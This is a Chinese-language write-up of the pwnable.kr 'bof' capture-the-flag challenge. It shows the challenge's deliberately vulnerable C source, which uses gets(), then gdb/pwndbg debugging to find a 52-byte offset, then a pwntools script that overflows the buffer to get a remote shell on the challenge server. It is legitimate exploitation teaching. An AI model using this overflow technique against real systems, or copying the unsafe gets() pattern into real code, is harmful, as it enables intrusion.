bof
目录
题目描述
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
时间:2023年9月26日
类型:Pwn
WP
这道题设计到溢出,先本地调试一下
提取信息
下载编译后程序Download : http://pwnable.kr/bin/bof
┌──(jiyabe🍍Shiona)-[~/桌面]
└─$ checksec ./bof
[*] '/home/jiyabe/桌面/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
下载源码Download : http://pwnable.kr/bin/bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
代码分析
- 主函数中只有一条调用语句,调用了函数func 传入参数0xdeadbeef,func就是这道题的关键。它声明了32字节的内存放字符串,却在gets接收时没有做验证。如果我们输入进overlowme的数据大于32字节,就会造成数据的溢出。
void func(int key){ //函数需要接收一个数字类型的参数
char overflowme[32]; //声明了字符型变量overflowme 32字节
printf("overflow me : ");
gets(overflowme); // 接收字符串给变量overflowme
if(key == 0xcafebabe){ //如果接收到的参数==0xcafebabe,那么会返回一个命令行
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
这里 在主函数中func(0xdeadbeef);
已经做了常量参数的传递,这是肯定不会满足if(key == 0xcafebabe)
条件的。所以我们的任务就很清晰了,那就是利用gets的输入溢出,来覆盖掉它原本的数据,使if成立。
好的!那么现在,我们知道只要输入超过32个字节就可以造成数据的溢出, 但具体溢出到哪里,溢出什么数据合适,那就要进行进一步的调试了。
看看这些数据都存在了什么位置
使用gdb调试
在主函数上 下断点
#使用gdb调试程序
┌──(jiyabe🍍Shiona)-[~/桌面]
└─$ gdb bof
GNU gdb (Debian 13.2-1) 13.2
#在func函数上下断点
pwndbg> b main
Breakpoint 1 at 0x68d
#让程序运行
pwndbg> r
Starting program: /home/jiyabe/桌面/bof
此时代码运行会停在main函数上,可以看到一个关键句:mov dword ptr [esp], 0xdeadbeef
它后面的值正是我们调用func函数时传的参数。它要将值传给ESP指向的位置。
输入n 2
往下走两步,看看此时它要将ESP
指向哪里
可以看到ESP现在是0xffffcf20
,然后我们再看看我们的输入会放在哪里,输入的语句在func中,所以我们输入b func
再往func函数上打一个断点,再输入c
运行至断点。
看到关键语句call gets
,输入n 7
停到该语句上,可以看到它要往0xffffceec
上放数据。
按c
继续执行,他会自动停止在gets引用的操作上,并等待我们的输入,这时我们输入aaa后按回车,之后再输入x/50wx $esp
查看栈中的数据。
可以看到我们输入的 aaa
变成16进制0x616161
存在了第二行,想要覆盖的目标在第6行。我们只要输入的足够长,并将0xdeadbeef
覆盖为0xcafebabe
,就可以了,直到目标位置的开头一共是13段,每一段是4字节一共52字节,也可以这么算(0xffffcf20-0xffffceec = 0x34 = 52)
payload
这里要payload的构造要借助一下pwntools工具
from pwn import *
key=p32(0xcafebabe) #将整数转换成32位的小端字节序
payload1=remote("pwnable.kr",9000) #远程连接靶机
payload1.send(bytes('a',encoding='utf8')*52+key) #发送配置号的payload(由52个a和 0xcafebabe组成)
payload1.interactive() #进入shell
得到flag
运行后会返回给我们一个命令行,我们cat flag就可以了
参考资料
什么是pwngdb
pwn题中二进制文件几乎都是要首先在自己的机子上跑,同时你要在自己的机子上面攻击掉了这个文件你才有可能攻击掉赛方的文件。所以我们要做出pwn题的第一件事,就是获取自己的电脑控制权(bushi)。而pwn掉自己的电脑,就需要用到调试。
俗话说的好,静态调试看IDA,动态调试看pwngdb(其实动态调试也能用IDA啦),pwngdb可以帮助你在可执行文件执行的时候查看各种寄存器的值,以及函数地址和偏移量,甚至可以让你一条汇编语言一条汇编语言分析,是分析程序不可或缺的工具。
安装pwngdb
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
什么是pwntools
pwntools是一个专门为CTF比赛和漏洞利用开发设计的Python库,其目的是提供一个简单的接口,并且默认情况下包含处理许多二进制文件的常见任务所需的功能。
安装pwntools:pip install pwntools